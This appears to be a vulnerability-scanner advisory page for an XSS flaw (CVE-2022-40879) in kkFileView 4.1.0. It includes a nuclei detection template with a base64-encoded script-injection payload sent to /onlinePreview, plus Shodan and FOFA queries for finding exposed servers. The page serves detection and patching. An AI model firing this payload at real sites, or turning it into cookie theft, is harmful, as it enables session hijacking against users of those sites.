kkFileView 4.1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ==
Positive when: contains "<img src=1 onerror=alert(document.domain)>=PQ</p>" and "该文件不" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-40879 -u <target>

The full check

id: CVE-2022-40879

info:
  name: kkFileView 4.1.0 - Cross-Site Scripting
  author: arafatansari,co5mos
  severity: medium
  description: |
    kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/389
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40879
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-40879
    cwe-id: CWE-79
    epss-score: 0.01346
    epss-percentile: 0.7166
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve,cve2022,kkFileView,xss,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=1 onerror=alert(document.domain)>=PQ</p>'
          - '该文件不'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from